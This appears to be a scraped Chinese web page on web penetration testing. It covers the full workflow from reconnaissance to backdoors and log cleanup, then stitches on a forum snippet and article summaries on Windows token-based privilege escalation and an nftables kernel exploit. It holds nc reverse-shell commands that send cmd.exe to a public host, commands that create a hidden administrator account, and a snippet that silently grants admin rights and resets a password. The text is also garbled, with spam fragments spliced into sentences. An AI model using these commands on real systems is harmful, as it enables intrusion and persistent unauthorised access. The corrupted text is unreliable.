web渗透是什么?
Web渗透测试分为白盒测试和黑盒测试,白盒测试是代码指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。提权提权而黑盒测试则是源码在对该网站系统信息不知情的情况下渗透,以下所说的代码html页公告源码源码博客Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤,提权提权信息收集,源码漏洞扫描,代码漏洞利用,提权提权提权,源码内网渗透,代码留后门,提权提权清理痕迹。源码一般的代码渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,tp登录注册源码看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。
信息收集
信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。
DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)
整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、凉笙发卡源码脚本类型(php/jsp/asp/aspx)、CMS类型;
网站常见搭配为:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目录信息(御剑,dirbust)
开放端口信息(nmp)
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。
常见漏洞:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后台密码爆破(burp)
端口爆破(hydra)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法:
反向连接
在公网主机上进行监听:
nc-lvp
在内网主机上执行:
nc-e cmd.exe 公网主机ip
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p -t -e cmd.exe
本地主机上执行:
nc-vv 远程主机ip
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马,留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工:
netuser test$ /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是iapp源码邮箱发送用工具省心省力。
求一个让电脑开机时的用户名密码修改的源码!(易语言)
.版本 2
.支持库 shell
运行 (“net localgroup administrators %username% /add”, 真, 1) ' 提权。有可能会失败。1是隐藏窗口运行。并等待运行完毕。
运行 (“net user %username% 自定义密码”, 真, 1) ' %username%可以改为任何。前提是该电脑存在该帐户。%username%就是现在在用的。1依然是隐藏。依然等待运行完毕。
关闭系统 (#注销, 真),注销可以改为其他
走进Windows中的提权行为
深入探讨Windows提权行为,本文聚焦于GetSystem过程及其在ATT&CK框架中的对应项,T - Access Token Manipulation,不涉及UAC bypass。文中选择命名管道提权和访问令牌窃取作为演示实例。
以经典的meterpreter中getsystem命令为例,其源代码揭示了工作原理和前置条件,核心在于利用ImpersonateNamedPipeClient API,通过命名管道的服务端进程模仿客户端进程的访问令牌,获取SYSTEM权限。
理解该API的VIP包月视频源码具体说明及调用前提(SeImpersonatePrivilege权限)有助于深入分析。源代码拆解了实现步骤,从创建命名管道、创建服务、启动服务并连接管道,到调用API完成提权,直至删除服务,整个过程均有详细描述。
命名管道提权的复现和日志验证过程展示了系统监控工具在检测和理解攻击行为中的关键作用。通过sysmon等工具,可以跟踪从创建命名管道到服务创建、启动、连接管道、完成提权直至服务删除的每一个环节。
访问令牌窃取技术同样依赖于Windows API,如ImpersonateLoggedOnUser、DuplicateTokenEx等,实现途径包含获取目标进程的句柄、访问令牌,复制令牌并创建新进程。本文提供代码示例及测试时的注意事项,强调实际操作的重要性。
结合日志分析,利用sysmon的ProcessAccess类日志,可以定位到OpenProcess、OpenProcessToken、DuplicateTokenEx等关键操作。通过关联分析,即使API调用不在sysmon能力范围内,也能追踪到攻击行为的全貌。
做好威胁检测需对攻击和防御知识有深入理解,sysmon日志记录和Windows API调用分析是关键。缺乏这些知识会限制检测能力。从原理出发,结合自上而下的分析和自下而上的分析,是理解攻击行为的正确方法。
Nftables CVE--提权利用
在分析了CVE---Nftables整型溢出漏洞的成因之后,本文接下来将深入探讨如何利用这一漏洞。首先,了解到payload_eval_copy_vlan函数中存在整型溢出问题,这使得我们可以将vlan头部结构拷贝至寄存器(NFT_REG_-NFT_REG_)中,而该变量位于栈上,因此可以覆盖到栈上的其他变量。
然而,观察源码后发现regs变量无法直接覆盖到返回地址。进一步分析后发现,jumpstack变量位于regs变量下方,因此可以利用整型溢出覆盖到jumpstack变量。接下来,我们关注nft_jumpstack结构体,该结构体在nft_do_chain函数中起作用,当状态寄存器被设置为JUMP条件时,程序将跳转至其他chain进行处理。保存完当前chain状态后,程序将跳转至目的chain,即存储在regs.verdict.chain中。
还原chain的过程涉及通过递减stackptr来取出存储在jumpstack变量中的chain、rule、lastrule,然后进行rule的解析。需要注意的是,在遍历rule时,循环条件为rule < lastrule。因此,在伪造lastrule时,需要确保其值大于rule,否则无法进入循环内部。
接着,观察nft_rule_dp结构体,发现其中包含用于存储nft_expr结构体指针的八个字节。通过篡改该指针,可以劫持程序流程。为了解决这一问题,作者从ctfiot.com/.html中学习了一个技巧:使用ptype /o struct xxx显示结构体信息与偏移。
构建流程如下:通过漏洞溢出至nft_jumpstack结构体,并修改rule变量指向可控内容的地址。同时,将lastrule值篡改为大于rule的值。接下来,在可控内容中伪造一个nft_rule_dp结构体,篡改第一个八个字节(填充位)和第二个八个字节(函数表指针)的值,使其分别指向可控内容的地址。之后,在该地址处伪造nft_expr,将ops变量指向所需执行的函数。
分析后得知,通过上述手段可以实现程序流程的劫持。接下来,需要考虑如何伪造上述结构体。在nft_payload_copy_vlan函数中,漏洞点在于将vlan头数据复制到寄存器中,由于vlan头地址低于寄存器地址,导致在复制完vlan头后会覆盖寄存器值。这里,我们可以通过控制NFT_REG_的值来实现对jumpstack结构体的篡改。
由于可以控制regs变量,首先泄露regs地址,然后在此基础上伪造rule并重新指向jumpstack。这里采用将last_rule设置为函数地址的技巧,以节省八个字节的空间。然而,仅控制八个字节的函数指针不足以构造完整的ROP链,因此需要使用栈迁移。栈迁移的目标是控制一段内存,选择regs作为目标。
在寻找合适的栈迁移gadget时,作者使用了vmlinux-to-elf工具提取符号表,然后利用ropper工具搜索gadget。但尝试后发现大部分gadget不可用。作者最后尝试使用objdump工具提取gadget,并通过搜索add rsp.*等指令找到栈迁移的gadget。进一步计算栈顶与regs函数地址的差值,找到相应的栈迁移gadget。
在提权方面,作者通过覆盖modprobe_path实现提权。选择合适的gadget将rdi设置为modprobe_path,rax设置为覆盖后的路径。然而,在返回到nf_hook_slow函数时,由于设置了rax值导致状态码无法正确设置,程序跳转至NF_DROP分支,导致内核异常。最终,作者在rbp中找到了一个do_softirq函数,并尝试将其作为返回地址。运行后发现程序能够正常返回到用户态。
最后,验证新用户是否已写入至/etc/passwd文件中,完成提权过程。完整exploit代码可参考github.com/h0pe-ay/Vuln.../poc.c。相关资料参考链接包括github.com/TurtleARM/CV...
2024-12-24 01:19
2024-12-24 00:35
2024-12-23 23:42
2024-12-23 23:10
2024-12-23 23:01